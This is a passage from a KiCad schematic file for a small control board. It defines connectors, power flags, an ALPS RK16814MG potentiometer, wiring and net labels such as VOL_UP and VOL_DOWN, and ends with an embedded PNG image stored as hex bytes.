\"DGND\" H 3150 2030 40  0000 C CNN\nF 2 \"\" H 3150 2100 60  0000 C CNN\nF 3 \"\" H 3150 2100 60  0000 C CNN\n\t1    3150 2100\n\t-1   0    0    -1  \n$EndComp\nWire Wire Line\n\t3650 1350 3650 1800\nWire Wire Line\n\t3100 2450 3850 2450\nText Label 3850 2450 2    50   ~ 0\nVOL_UP\nWire Wire Line\n\t3100 2650 3850 2650\nText Label 3850 2650 2    50   ~ 0\nVOL_DOWN\n$Comp\nL PWR_FLAG #FLG05\nU 1 1 550CB3B3\nP 3400 2000\nF 0 \"#FLG05\" H 3400 2095 30  0001 C CNN\nF 1 \"PWR_FLAG\" H 3400 2180 30  0000 C CNN\nF 2 \"\" H 3400 2000 60  0000 C CNN\nF 3 \"\" H 3400 2000 60  0000 C CNN\n\t1    3400 2000\n\t-1   0    0    1   \n$EndComp\n$Comp\nL PWR_FLAG #FLG06\nU 1 1 550CB3CC\nP 3900 1650\nF 0 \"#FLG06\" H 3900 1745 30  0001 C CNN\nF 1 \"PWR_FLAG\" H 3900 1830 30  0000 C CNN\nF 2 \"\" H 3900 1650 60  0000 C CNN\nF 3 \"\" H 3900 1650 60  0000 C CNN\n\t1    3900 1650\n\t-1   0    0    -1  \n$EndComp\nWire Wire Line\n\t3150 1900 3100 1900\nWire Wire Line\n\t3150 1900 3150 2100\nWire Wire Line\n\t3900 1650 3650 1650\nConnection ~ 3650 1650\nWire Wire Line\n\t3400 2000 3150 2000\nConnection ~ 3150 2000\n$Comp\nL CONN_2 P4\nU 1 1 550CCCA8\nP 2750 2550\nF 0 \"P4\" V 2700 2550 50  0000 C CNN\nF 1 \"CTRL\" V 2800 2550 50  0000 C CNN\nF 2 \"mfk-TE_282834-2\" H 2750 2550 60  0001 C CNN\nF 3 \"\" H 2750 2550 60  0000 C CNN\n\t1    2750 2550\n\t-1   0    0    -1  \n$EndComp\nWire Wire Line\n\t4150 3250 4150 3850\n$Comp\nL CONN_5 P1\nU 1 1 550CCE69\nP 2750 3450\nF 0 \"P1\" V 2700 3450 50  0000 C CNN\nF 1 \"AB I/O\" V 2800 3450 50  0000 C CNN\nF 2 \"mfk-TE_282834-5\" H 2750 3450 60  0001 C CNN\nF 3 \"\" H 2750 3450 60  0000 C CNN\n\t1    2750 3450\n\t-1   0    0    -1  \n$EndComp\nWire Wire Line\n\t3150 3250 4150 3250\nWire Wire Line\n\t4300 4100 4350 4100\nWire Wire Line\n\t4350 4100 4350 3350\nWire Wire Line\n\t4350 3350 3150 3350\nText Label 3150 3250 0    50   ~ 0\nA_TOP\nText Label 3150 3350 0    50   ~ 0\nA_WIPER\nText Label 3150 3550 0    50   ~ 0\nB_TOP\nText Label 3150 3650 0    50   ~ 0\nB_WIPER\n$Comp\nL CONN_5 P2\nU 1 1 550CCF9F\nP 2800 4800\nF 0 \"P2\" V 2750 4800 50  0000 C CNN\nF 1 \"CD I/O\" V 2850 4800 50  0000 C CNN\nF 2 \"mfk-TE_282834-5\" H 2800 4800 60  0001 C CNN\nF 3 \"\" H 2800 4800 60  0000 C CNN\n\t1    2800 4800\n\t-1   0    0    -1  \n$EndComp\nWire Wire Line\n\t3200 4600 4150 4600\nWire Wire Line\n\t3200 4700 3900 4700\nWire Wire Line\n\t3200 4900 3700 4900\nWire Wire Line\n\t5100 4950 5100 5700\nWire Wire Line\n\t5100 4950 4950 4950\nWire Wire Line\n\t3200 4800 3800 4800\nWire Wire Line\n\t5000 4600 5000 5600\nWire Wire Line\n\t5000 4600 4800 4600\nWire Wire Line\n\t4800 4600 4800 4700\nWire Wire Line\n\t4300 5400 4300 4950\nText Label 3200 4600 0    50   ~ 0\nC_TOP\nWire Wire Line\n\t3900 5400 4300 5400\nWire Wire Line\n\t4400 5400 4600 5400\nWire Wire Line\n\t3900 4700 3900 5400\n$Comp\nL RK16814MG RV1\nU 1 1 550CA765\nP 4500 4500\nF 0 \"RV1\" H 5850 5250 50  0000 C CNN\nF 1 \"RK16814MG\" H 5700 3600 50  0000 C CNN\nF 2 \"mfk-ALPS_RK16814MG\" V 4800 4900 60  0001 C CNN\nF 3 \"~\" V 4800 4900 60  0000 C CNN\n\t1    4500 4500\n\t1    0    0    -1  \n$EndComp\nWire Wire Line\n\t4150 4600 4150 4700\nText Label 3200 4700 0    50   ~ 0\nC_WIPER\nText Label 3200 4900 0    50   ~ 0\nD_TOP\nText Label 3200 5000 0    50   ~ 0\nD_WIPER\nWire Wire Line\n\t3900 3450 3900 4450\nConnection ~ 4400 4450\nConnection ~ 4400 5400\nText Label 3150 3450 0    50   ~ 0\nAB_COMMON\nWire Wire Line\n\t3600 5000 3200 5000\nText Label 3200 4800 0    50   ~ 0\nCD_COMMON\n$Comp\nL +5VD #PWR07\nU 1 1 550CE6FC\nP 7600 3650\nF 0 \"#PWR07\" H 7600 3600 20  0001 C CNN\nF 1 \"+5VD\" H 7600 3750 50  0000 C CNN\nF 2 \"\" H 7600 3650 60  0000 C CNN\nF 3 \"\" H 7600 3650 60  0000 C CNN\n\t1    7600 3650\n\t1    0    0    -1  \n$EndComp\n$Comp\nL +5VD #PWR08\nU 1 1 550CE733\nP 3650 1350\nF 0 \"#PWR08\" H 3650 1300 20  0001 C CNN\nF 1 \"+5VD\" H 3650 1450 50  0000 C CNN\nF 2 \"\" H 3650 1350 60  0000 C CNN\nF 3 \"\" H 3650 1350 60  0000 C CNN\n\t1    3650 1350\n\t-1   0    0    -1  \n$EndComp\nWire Wire Line\n\t3900 3450 3150 3450\nWire Wire Line\n\t4800 3850 4800 3550\nWire Wire Line\n\t4800 3550 3150 3550\nWire Wire Line\n\t4950 4100 5000 4100\nWire Wire Line\n\t5000 4100 5000 3650\nWire Wire Line\n\t5000 3650 3150 3650\nWire Wire Line\n\t3600 5000 3600 5700\nWire Wire Line\n\t3700 4900 3700 5600\nWire Wire Line\n\t3800 4800 3800 5500\nWire Wire Line\n\t3800 5500 4400 5500\nWire Wire Line\n\t3700 5600 5000 5600\nWire Wire Line\n\t3600 5700 5100 5700\n$Bitmap\nPos 10300 6850\nScale 1.000000\nData\n89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 00 00 00 5F 00 00 00 64 08 06 00 00 00 E0 F1 EC \n9B 00 00 00 04 73 42 49 54 08 08 08 08 7C 08 64 88 00 00 00 09 70 48 59 73 00 00 07 6C 00 00 07 \n6C 01 9C F3 D5 25 00 00 13 B3 49 44 41 54 78 9C ED 9D 7B 7C 54 D5 B5 C7 BF EB CC 04 C2 43 1E 5A \n45 D0 2A F6 FA 82 52 A0 6A D5 D6 5A B1 3E 69 21 27 40 A3 F6 E1 55 51 4E 78 5C B5 B4 DA 56 3F 7E \n8A 69 BD D4 6A 6F 6F AB AD 90 13 90 48 3F B7 B6 E6 16 66 22 8A F6 65 44 AD AD A2 45 B4 A5 D6 17 \n88 12 15 5A 0C F2 CA 64 E6 AC FB C7 3E 93 49 86 10 66 92 7D 48 E8 E5 F7 F9 E4 33 AF BD D7 59 FB \n77 76 F6 D9 7B ED B5 D6 16 55 E5 40 80 F8 C9 7B 80 59 05 14 5D A0 9E 3B 3B 6A 7D 6C C0 E9 69 05 \n8A C0 85 96 CB F5 38 E4 40 E8 F9 E2 27 0F 01 9A 00 29 A0 B8 02 83 D5 73 3F 88 56 AB EE E3 40 E9 \nF9 63 29 8C 78 C2 72 63 23 D4 C5 1A 0E 14 F2 C7 45 5C BE 47 70 A0 90 3F 3E E2 F2 3D 82 83 E4 F7 \n20 22 27 5F FC E4 67 C5 4F 5E DE 8D FA 31 60 4C 91 D5 C6 84 F5 BA 7A CD CB C5 4F 7E B6 AB F5 0B \n45 A4 E4 8B 9F 2C 03 56 02 4B C5 4F AE 14 3F 39 A2 0B 62 4E 04 FA 15 59 A7 5F 58 AF 28 88 9F 1C \n21 7E 72 25 B0 14 58 19 EA 1F 19 22 23 3F 54 BC 0E E8 13 7E 75 31 F0 92 F8 C9 CB 8A 14 75 4A 17 \n55 38 B5 98 C2 A1 5E 2F 61 F4 04 A3 77 5D 94 37 20 92 79 7E 07 C4 E7 E3 01 60 B6 7A EE 3F 3A 91 \n31 00 B8 0C A8 02 8E EA 82 1A 8D C0 AD C0 CF D5 73 B7 77 72 9D C3 80 7B 80 4B F6 52 24 05 54 A8 \nE7 D6 77 41 87 4E 61 9D FC 02 88 CF A2 11 98 A1 9E FB 50 5E FD 31 40 25 70 39 30 D8 82 4A 1F 00 \n3F 03 16 AA E7 BE 98 77 AD CF 03 35 C0 F0 7D C8 88 E4 06 58 25 BF 08 E2 DB 62 11 70 3B F0 49 60 \n26 70 96 35 85 F6 C4 53 C0 42 E0 69 E0 5B C0 35 45 D4 B5 7E 03 AC 91 DF 45 E2 0F 34 58 BD 01 36 \n1F B8 35 FC 6B 13 0F A6 7D 35 B6 84 D9 24 FF 4E 8B B2 7A 33 AC B5 D3 26 F9 3F 04 9E B4 28 AF 37 \nE2 49 4C 3B AD C0 F6 03 F7 23 C0 0B C0 40 6B 42 7B 0F B6 03 E3 D4 73 5F B7 25 D0 EA 22 2B 54 EC \n06 9B 32 7B 11 6E B0 49 3C 44 B7 C8 5A 49 6E A5 F8 AF 80 47 D4 73 27 DA 16 1A 95 79 E1 6A 60 6B \n44 B2 F7 37 B6 62 DA 63 1D 91 90 AF 9E BB 09 98 13 85 EC 1E C0 9C B0 3D D6 11 E9 1E AE F8 C9 06 \nE0 9C C8 2E 10 3D 1E 57 CF 9D 10 95 F0 A8 ED F9 F1 88 E5 47 8D 48 F5 8F AC E7 8B 9F 1C 07 AC 89 \n44 F8 FE C5 78 F5 DC 17 A2 10 1C 65 CF BF 2E 42 D9 FB 13 91 B5 23 AA A9 E6 61 C0 5B 40 A9 75 E1 \n39 BC 05 BC 0C 9C 04 1C 1D E1 75 76 03 47 77 B6 F7 D0 55 44 35 A6 CD C0 3E F1 29 E0 2E E0 31 E0 \n39 F5 DC 77 B3 3F 88 9F 1C 86 D9 B9 3A 17 D3 53 6D 1A F8 4A 31 ED B9 DD A2 4C 20 9A CD 94 18 F0 \n06 F0 61 8B 62 D7 00 57 A8 E7 AE 2D E0 FA 63 81 FB B0 EB C1 B0 11 38 4E 3D 37 63 51 66 24 63 FE \n97 B1 4B FC 7C E0 F4 42 88 07 08 CB 9D 1E D6 B3 85 0F 63 DA 65 15 DD EA F9 E2 27 FB 03 1F C3 F4 \nB2 F1 18 4F B1 D3 81 2E BB 6D E4 A1 4E 3D 77 6F 7B AB FB 84 F8 C9 07 80 0A 4B BA 64 80 67 30 86 \nC3 35 E1 DF 8B EA B9 3B BB 2A B0 60 F2 C5 4F 96 00 E7 63 08 CE 92 7D 02 D1 CD 98 36 03 1F 55 CF \nDD DC 55 01 E2 27 0F 07 FE 02 1C 6E 4D AB F6 08 80 57 C8 DD 8C 17 80 DF AA E7 B6 14 52 B9 98 07 \nEE 95 80 5F AC 76 DD C0 9C EE 10 0F A0 9E BB 59 FC E4 1C 8C B7 44 14 70 30 B3 AD 93 80 4B C3 EF \n3C 0A DC ED 2A A6 D7 0E 28 4E AF 6E A1 51 3D B7 CE 86 A0 50 4E A3 0D 59 05 A2 60 9E 7A AB AF E6 \nEA 5E 2E CF 0A 7A 2B F9 CF F5 72 79 56 D0 5B C9 3F D8 F3 7B 10 7B 75 EF EB 25 F2 AC A0 B7 92 7F \n5C 2F 97 67 05 BD 95 FC 13 7A B9 3C 2B E8 AD E4 5F 22 7E B2 D0 00 B8 4E 11 CA E9 F2 2A 39 4A 14 \n43 FE FE 0C AD 3C 1E B3 9A B6 81 F3 43 79 FB 0B 05 F3 54 CC 0A B7 16 78 8D 9C 0D 67 1C 30 1A E8 \n5B 8C 66 45 60 BE F8 C9 86 42 97 EA 1D 21 34 89 D8 34 B0 E5 A3 19 F8 2B C6 AC 90 B5 F9 3C 51 68 \nE5 82 C9 0F CD A9 0D E1 1F 00 E2 27 E3 C0 C9 E4 6E C6 29 C0 79 85 CA DC 07 4E C3 10 77 63 37 64 \nCC 0F E5 D8 C2 EF 80 E7 C9 91 FD 37 F5 DC 74 57 85 45 61 CF FF 09 F6 DC 46 14 F8 86 7A EE 0F BA \nA0 C7 0D C0 1D 14 1E 3C BD 2F FC 54 3D F7 3F 2C C9 02 A2 21 7F 14 E6 5F D1 26 EE C5 84 11 35 17 \n70 FD BE 98 30 9F E9 96 75 18 AD 9E BB CE A6 C0 A8 F6 70 57 01 67 5B 16 FB 22 50 DE 99 BF 64 E8 \nA8 9B C0 EC 31 D8 C4 13 EA B9 9F B1 2C 33 B2 A9 66 14 A6 E7 8F 01 1F DD 47 99 8F 62 9F 78 88 C8 \n94 1E 15 F9 FF 8B 7D 5F CD B7 31 31 BD 9D 61 65 58 CE 26 B6 62 DA 63 1D 51 F9 6A EE C6 04 12 DB \n84 BF AF 99 45 F8 BB ED 5E BA 34 6C 8F 75 44 B9 C2 B5 16 BB 04 A4 8B 90 57 13 96 B7 05 9B ED 68 \n87 C8 C8 57 CF FD 0B F6 86 9E 84 7A 6E 41 BB 51 61 B9 84 A5 EB 6E 0D DB 11 09 A2 0C FF BF 1C 18 \n6A 49 DC 3D 11 97 DF 1B 86 76 27 69 C7 BE 10 D5 54 F3 68 4C 1E 03 1B 11 E4 7F 53 CF 1D D5 05 1D \nD6 61 56 DF DD 45 13 30 46 3D F7 2D 0B B2 DA C1 7A CF 0F AD 88 4B B0 43 3C C0 82 FD 5C 2F 1F 83 \n81 25 B6 AC AC 6D 11 C5 B0 33 1B 7B 16 C9 1D 18 D7 BF AE E0 BE B0 BE 0D 9C 8F 69 97 55 58 25 5F \nFC E4 09 18 7B 8A 2D FC 5C 3D B7 A9 2B 15 C3 7A 3F B7 A8 CB 1D 61 FB AC C1 1A F9 A1 83 EC 52 A0 \nBF 2D 99 74 FF C1 69 EB C1 0B A6 5D 4B BB 93 C1 2A 1F 36 7B FE 37 80 33 2D CA FB A3 7A 6E B7 22 \n5B C2 FA 7F B4 A4 0F 98 F6 7D C3 96 30 9B E4 7F D5 A2 2C B0 D7 6B 6D F6 7E B0 D8 4E 9B E4 5F 81 \nD9 D9 B1 81 2D D8 F3 AF 7C 20 94 67 03 CD 98 76 5A 81 35 F2 D5 73 1F 01 CA 29 EE 06 28 F0 3F C0 \n43 79 DF DF 5B 88 ED BE 40 BD 9A 31 FB 01 6D F1 50 78 DD 62 16 39 CD 18 93 F6 23 36 F4 02 FB B9 \n17 8A B9 01 6F 02 E7 A9 E7 7E 45 3D 77 12 26 C3 D4 2A 8C DB 75 B5 4D BD 42 79 41 28 FF 2C F5 DC \n49 EA B9 5F C1 6C 79 BE 59 40 7D EB C4 43 74 2B DC 8B 31 F6 95 BD 6D AE D7 02 D7 AB E7 6E EB A0 \nEE D1 51 AC 26 F7 26 57 FC E4 20 E0 C7 18 17 F8 8E 10 09 F1 10 6D 1C 6E 47 37 E0 3D C0 53 CF 4D \n46 72 D1 6E 40 FC A4 8B 31 47 1F D1 E6 EB C8 88 87 68 AD 9A F9 43 50 02 63 23 E9 75 C4 03 84 7A \n8D 21 67 11 8D 94 78 D8 0F F9 F3 C5 4F 7E 1A 18 6E 2B D8 61 7F 40 FC 64 05 26 40 23 D2 CC 59 07 \nC4 E1 05 FF AA E8 AD BE 9A FF 2F 70 90 FC 1E C4 41 F2 7B 10 07 C9 EF 41 1C 24 BF 07 71 90 FC 1E \n44 1C 40 FC 15 FD 91 CC 6C 94 B3 50 FA 01 7F 42 32 0B D5 9B DA 08 20 8B 96 1D 4D 26 B6 08 61 23 \nE2 FC 08 74 2E AA 27 80 AE 25 16 FC 40 AF 9E BA 21 2B 50 40 A8 4E 4C C7 61 32 EA 0C 41 83 35 68 \nFC 4E 9D 39 A9 D5 93 4C AA 93 8F 20 A4 08 62 B3 88 65 6E 41 39 09 E1 61 E2 A9 FB F4 AA 8A 4E A3 \nCE A5 BA FE 34 24 98 08 72 2E E8 56 90 75 A4 A9 D6 D9 EE C6 D6 32 FE 8A 0F 41 7A 16 22 67 A2 64 \n10 79 9A DD 25 3F D5 6B 27 6E 33 ED A9 1F 4B 46 EF 40 58 AD 9E 7B 4B 6B BD 9A E5 E7 10 38 37 21 \n34 A8 E7 DE DE AE DD 8E DC 8D EA D7 51 8E 02 EA 29 49 DD AF 57 55 6C 96 EA E5 E3 10 67 16 30 0A \n65 23 8E 3C CE A6 41 4B 74 DE 84 34 80 DC 5B 7F 08 69 FD 26 AA 9F 44 64 17 C8 E3 34 97 DC A5 D7 \n4E 6C 16 EE 7A 78 10 7D 53 7F 04 F2 3D 04 DE 45 63 67 6B E5 A4 57 C4 5F 71 32 64 D6 61 F6 44 1D \nDA 1F A3 F1 0E 64 4E 69 BD 51 7E F2 7E CC A1 03 6D B1 0D 71 CE D7 19 93 9F 0D CB 28 C6 D0 B5 85 \nF6 CB F9 9D 88 73 BA CE 98 DC A1 AF 8C F8 89 AF 83 74 E4 2E BE 03 63 A4 FB 93 2C 4C 8C C4 91 A7 \n80 FC 23 42 5E 25 96 3A 43 AF AE F8 A7 2C 4C 4C C0 91 C7 50 1E D5 4A B7 35 FF A7 D4 D4 5F 86 EA \nFD C0 2F D5 73 2F 6B D3 EE ED 61 BB C3 5D 3A D9 4C 26 7D 26 F1 F8 79 A8 2E 20 3F D1 87 EA EF E9 \nCB 34 00 52 F2 67 60 64 9E 2E 6B E9 D7 EF 53 0E A5 A9 9B 31 C4 6F 04 AE 47 F5 4B 18 8F E0 61 38 \nE9 FC A4 CD 03 80 DF A3 72 0E A2 97 62 6C 35 47 42 7C 96 51 3E 31 11 43 FC 1B 88 7C 11 62 A7 A2 \nF2 00 30 08 0D F2 DD 07 1D 60 13 C8 25 28 D3 41 5E 07 FA A3 C1 BC 0E C8 CD D2 73 63 D8 B8 EB 88 \n65 46 12 E8 19 20 FF 85 92 C0 73 9F 31 52 E5 76 0C F1 EB 40 AE 44 65 16 B0 1E 38 9E 74 C9 B7 F7 \n2E BB 53 0C 04 9E 04 BD 08 F8 1A 9A 71 D1 58 0B AA 3F 0C DB 51 8F 52 16 72 F2 32 48 23 A9 F7 76 \n90 92 2A 60 24 CA A3 08 67 A1 94 61 B8 1D CB AE 5D F3 E2 A8 5C 0C 0A AA DF D4 CA F2 FB 01 A4 7A \nF9 5F 11 67 8D F9 2D 0F E9 92 6B 74 F6 E7 DE 01 90 9A E4 31 28 77 82 8E 36 A4 38 E5 A1 AC FF 56 \nCF FD 05 80 D4 26 2A 49 89 0B 9C 2C 0B 13 23 75 66 F9 FA 36 64 7E 4D BD B2 C7 CC 35 93 20 DC 0B \nD2 E1 59 27 52 57 17 83 3E 31 20 4D 89 F3 2B 9D 5E BE 09 D8 80 49 C3 D2 16 46 67 0D AE D6 CA 29 \n4F 1B D9 0F 36 22 41 02 E9 A0 3D 85 41 09 B4 32 D4 FD D7 A6 ED F5 D7 A3 3A 10 58 AD 9E EB B6 EA \n79 4F DD C3 CC AE D8 A1 A0 E2 27 CB 01 08 32 B3 B5 72 EA EB 21 67 71 94 65 C0 E7 E2 A0 E6 3C 12 \n47 73 21 F2 87 A6 5F 62 6B 9F 9D 40 7F F9 E9 F2 C3 28 29 C9 FE B2 2D 4B 7C 88 D7 C2 D7 21 A1 8E \nC6 49 49 E4 02 F1 13 6D 49 FC 00 E8 4B 4C 8E C7 F4 42 80 16 1A FF FC 38 84 E7 C1 C4 32 BF 21 88 \n01 DA 61 E2 08 AD A8 C8 88 9F 5C 02 DC 48 5A D7 8B 9F 5C 0B F2 1E 12 AC 03 7E A6 33 CA D7 C8 CF \n7E 3D 00 E3 67 93 61 67 3A B7 FF 2B 2D CF 84 23 43 57 CE 5E 01 F4 D5 F6 9D 06 50 0D 87 69 6D B7 \n11 A4 B3 2B B6 43 F8 1C 35 49 92 76 10 73 BE 2D 7E 68 AF 13 A7 4F B8 87 73 72 9C 6C C6 6F 4D B7 \nE6 2C 0B 1B BA 19 38 96 52 1D 48 2E B9 55 7B 37 0E 71 9A D0 00 90 AC D9 F8 D0 F0 75 72 87 D1 38 \n81 B4 8D 01 0B 74 DE BC A0 F5 53 AA 34 4D 7C 1F B1 6F 2D C1 F7 29 71 52 98 A8 93 53 CD 7F 99 4C \n04 E6 C8 E2 FA 31 68 6B 24 E0 07 3A B7 62 57 AE E2 96 2D 30 2C 0D F4 97 AA 2A 87 61 C5 9E DE 27 \nC1 9E 5F 71 98 E1 D0 79 A3 C3 2A 01 43 71 10 60 00 48 6E EB 31 67 4B 8B C5 31 E9 50 8E 43 E2 E3 \n81 C7 01 4C 6F 77 8E 05 60 67 BF 77 E8 9B C9 46 70 1F 25 BE 5F A2 9E D7 12 0A 1A 19 4A 0C 6F 8A \nFE 1D 64 0C 4A 99 56 BA 0F 16 D9 C2 7D 42 E7 4C F9 07 70 8B 54 55 7D 9B C3 3F 71 04 B1 F4 D1 88 \n7E 0B 98 46 9A CB 78 E7 CF F3 19 3E 3E 03 0C 91 C5 CB 8E 6D 9D 85 39 47 8C 25 20 0E 34 EA BC 79 \n81 D4 2C 57 54 40 F2 D2 91 69 11 E9 C9 94 97 C3 37 17 D2 91 63 D7 CC 49 9B F0 93 3B 00 A5 5F BF \n23 F5 F2 0B F7 70 E0 72 00 13 66 A3 CE 54 F1 FD 12 01 A1 24 F6 C5 F0 F7 B7 F5 DA 89 CD ED CB 1F \n99 3B 6F 56 35 FB FE 9F E1 6B F6 34 9E AB A4 AA CA 01 90 BB 57 0E 92 9A FA 2F 4B 5D 5D B7 32 FE \n49 5D 5D 4C FC E4 0F C5 AF 3F 57 E7 CD 0B 74 F6 E7 DE D1 CA B2 D5 48 E8 1A 22 3A 3E FC 4F 5A 0F \n40 10 AB 90 AA 2A 47 AA 1A E2 04 8E 09 82 96 B0 AD 69 CD 4E 4B 47 8B BF FC D3 90 1D 26 F4 2B 85 \n2B D4 9A C9 E4 62 59 58 FF F1 D6 AF 6B 12 57 4A F5 F2 71 6A C6 96 97 80 81 EC DA D9 9A 9F 4D 16 \nD7 1F 2F 7E FD E7 01 E2 A8 7E 0F 91 F3 80 EB 60 D8 17 F0 93 4D E4 A6 9D DF DB F3 AA FA 2B F1 93 \n7F 00 8E 6C 2D A7 84 B6 FA F8 4F 20 98 8D E8 14 86 8F 7F 53 AA EB 9F A2 AF 4E 44 39 84 F7 4B AE \n10 B8 48 8B DB B4 CE 61 6B 89 07 CC 05 FD AA F8 C9 E7 50 5E 02 86 23 61 AE 66 D5 95 E1 EB F7 10 \n59 84 72 27 C3 C7 57 42 53 1F E0 18 F3 9B 98 F6 CC 9A FA 06 7E F2 AF C0 68 70 56 89 9F CC 4E B5 \n87 14 AC CF 0C 37 41 75 F2 09 84 B3 71 F4 79 F1 13 CF 83 F4 03 19 85 C8 56 59 52 77 12 D2 67 1E \nCA 23 20 D5 E2 27 2A C1 79 37 9C 31 39 E2 27 6E 70 B4 B2 FC 77 66 AA C7 36 CC 14 6D 14 D0 02 F2 \n5D 1A D7 E4 3B 9B 6E 40 B9 1F 93 BF 32 7B 83 6E CF 0E 31 EA 4D DA 82 F2 05 4C B2 D1 A3 10 BD 04 \n38 04 78 0D 8D 7F AB CB C4 03 EA 95 2F 08 A7 72 1B 81 D3 10 AE 44 B8 08 78 15 B8 49 2B CB 17 03 \n50 59 7E 2F 22 37 63 76 A2 8E C7 10 BF 13 74 B6 7A 65 0F 81 79 52 40 6C 1A C8 4A F3 91 4F 82 B4 \n80 14 1C D5 A2 A0 48 E6 52 44 C3 9D 39 39 25 E4 64 13 2A 97 EA 55 15 9B 75 86 FB 28 AA D7 01 4D \nE6 77 9D 08 38 A8 AC 20 D6 B2 A4 75 33 45 AA 1A E2 1C B9 6D 3C 4E 66 00 DB D3 CF B4 7D 60 B5 59 \n6C BC AC 9E 7B B2 F8 2B 8E 41 83 D1 68 E6 79 9D 39 E5 BD 7C C5 A4 AA 21 CE 51 EF 8F 23 23 23 70 \n82 97 99 31 E5 95 B6 C4 CB A2 07 CF 24 9D 09 74 66 F9 33 B9 6B F8 25 38 C3 4F 25 90 94 7A 93 9E \nEF AC E1 66 E5 19 1F 43 09 6B 75 7A 59 87 E9 D5 E5 EE 95 7D 29 69 39 8D B8 64 08 1A 9F 6B 7D 4E \nE5 97 5B 98 18 49 4C 8F A5 74 C0 6A B6 ED 28 A5 6F FC 04 44 B7 E8 D5 65 AF 4A 6D 43 29 E9 0F C6 \n93 49 EF D2 CA 29 7B CD A7 6C 64 30 8A 40 36 68 A5 BB 47 18 AC F8 75 83 71 FA 8C 25 23 03 C8 C4 \nD7 B4 4E D5 0B D9 C9 CA 27 7F 9F 15 22 80 D4 26 86 90 6A 51 F5 2A BA E4 38 DB 1B 71 40 A4 58 97 \nDA 86 52 52 B2 15 FA 34 13 6D 7E E6 FD 8A 83 56 CD 1E C4 41 F2 7B 10 5D 22 5F AA AA 1C 59 52 D7 \n69 96 56 A9 4D 0C 91 BB 57 0E EA F0 37 DF 2F 91 DA 86 D2 D6 B5 C0 E2 BA 43 F3 D7 01 02 22 F7 3C \n7C 64 87 F5 EF 5E D9 57 6A 1B 4A 25 6F 19 2D BE 5F D2 D1 7A 42 6A 1B 4A A5 B6 A1 B4 7D D9 BA C1 \nE2 D7 75 18 BA D4 AA 5F 5D 5D 0C 40 16 3C 34 54 EE 5E B9 87 F7 9D DC 53 37 50 16 D5 0F EB 48 46 \n21 28 F6 81 FB 77 4C 00 C4 CD 40 7F 84 06 54 7F AC 5E 79 22 57 36 F9 25 CC FA E0 18 4C FE E1 35 \nC0 2A 88 CD 57 6F D2 96 B0 CC 2F 80 4B 41 6F 00 F9 22 26 FD FA 3F 81 85 78 EE 2D F8 89 5B 40 E6 \n62 A2 19 DF 46 E4 86 D0 D4 DB AC 9E 5B 2A 7E 72 35 70 2A 2A 17 6A 65 D9 6F DA 5C FB 15 60 10 8D \n6B 86 67 4D 17 C6 FE AF CF 02 6F E1 B9 C7 50 9D 9C 86 70 27 C6 CC 1B 00 2F A0 BA 8A 4C 9F DB 5B \n67 21 7E A2 D6 98 04 E4 D6 70 7A 78 06 F0 3E 48 AD 7A 65 73 A5 66 F9 89 E0 54 A3 9C 83 E9 00 9B \n40 6E 56 AF AC A8 10 A6 62 7B FE 89 C0 6D 21 A9 01 CA 04 90 5F 49 75 FD 67 20 34 4B A0 B7 62 0E \n13 58 0B FA 3C 66 EE 3B 17 49 77 10 A2 23 3F C0 E4 E8 69 02 06 A3 D2 80 9F 98 09 F2 1D 0C F1 DB \n81 41 21 F1 6D B1 DC BC B4 AE B0 91 EA E5 E3 30 F3 FA 23 18 31 36 97 74 C3 E1 82 B0 6C 02 BF 6E \n10 C2 77 30 1D E3 45 E0 59 E0 44 44 AE 27 D6 D2 81 4B BA DE 8A 21 BE C9 E8 21 0D E2 AF E8 8F 3A \nBF 35 6D 67 1B C6 B8 38 02 B4 56 6A EA 8B CA 74 52 FC B0 23 7A 1B 3B 52 C3 08 F4 DF 30 C9 42 1D \n24 B8 02 B2 B6 97 96 4F A0 72 AE 7A EE 38 F5 CA 4F 87 D8 28 20 85 CA 67 43 AB 63 5B AC 27 93 39 \n1E DE 3D 1C 47 4E 09 7B F1 55 E1 85 16 30 34 35 84 C6 C1 87 62 CE CC 6D A3 75 B0 CC 14 E1 A2 9C \n5E B1 69 6D 0A B4 79 9F BD 41 CE 32 F5 2A 9A 48 A7 4E 07 39 5F 3D 77 AC 7A EE 99 94 A4 8E 03 76 \n21 9C 2D B5 89 FC 15 EE 26 34 76 22 8D 83 3F 84 06 A7 68 E5 E4 24 9A B9 16 63 AD 4C 40 6C 04 9E \n7B 02 E6 1C 5F 50 BD 23 7F 28 EC 0C C5 92 BF 8B 98 73 87 CE AD D8 A5 33 CB D7 87 BB 38 80 B4 CE \nFD D5 AB 68 D2 CA B2 55 B9 CF 93 DE C4 1C 66 10 63 FB EE FC E3 35 6A 74 D6 D4 D7 D5 F3 5A F4 9A \nB2 30 3F BE 7C C8 68 26 4B B5 A2 22 A3 F3 26 A4 D1 A0 9D 7F BD 5E 33 65 1D F0 37 E0 63 E2 2F 0B \n4F 71 D6 69 98 5E F8 07 94 29 02 62 7A 29 9F 02 FE C1 D0 E6 55 60 4C BE D9 3D 04 00 B3 6D 29 7F \n07 A0 59 8F CD D3 6F A9 56 4E 7A 45 E7 4D 48 B7 59 64 9D 11 D6 5C A0 DE A4 9D 66 F1 F8 EE BD 98 \n5D B9 C3 A8 5E 51 70 3E B7 62 E7 F9 6F EA F4 B2 5C 02 B7 58 EC 2F 04 01 B4 D9 46 93 EA FA 99 88 \n7A 98 21 2A 2B DF 3C 04 63 4E 5E AF D0 0E 92 22 C9 40 50 48 A7 73 79 75 94 D7 F6 E8 4F AA CB 11 \nB9 09 8D 5D 20 FE 8A 67 80 D1 20 3F 42 78 0F D5 F9 2C 7A F0 0C 24 33 14 95 3E 40 BD 56 54 64 00 \nA4 A6 7E 3A 1A CC 01 39 11 C8 6E 54 18 FD 1C 69 7F 15 D1 97 F7 54 2F 1B 58 2D F5 E2 67 7D 7E 87 \nB5 91 D1 32 02 93 D6 7D 9F B0 BA C8 92 85 F5 67 E1 E8 02 60 37 CA B3 38 6A AC 9D 2A E7 51 F0 49 \nA1 6A 6C E7 71 CD CD 5A E2 DA 87 3D 2C EA CE 32 D0 9B CC D0 93 31 A6 60 47 1E 24 9D 7E 0F C7 99 \n4F 26 98 86 88 E9 14 62 86 29 59 94 38 15 95 C5 20 CD 08 AB 41 B7 84 FA 9D 0B 74 38 33 EB A0 95 \nA9 D0 52 F2 24 A2 7B 66 AA CD 50 F0 C1 36 76 57 B8 4E 30 03 04 54 2E 6A 3B F4 88 9F DC 44 E1 C7 \nB4 6E 07 86 41 EC 38 CC 89 40 90 89 7F 04 69 3F 2B D3 CA B2 D5 E2 27 37 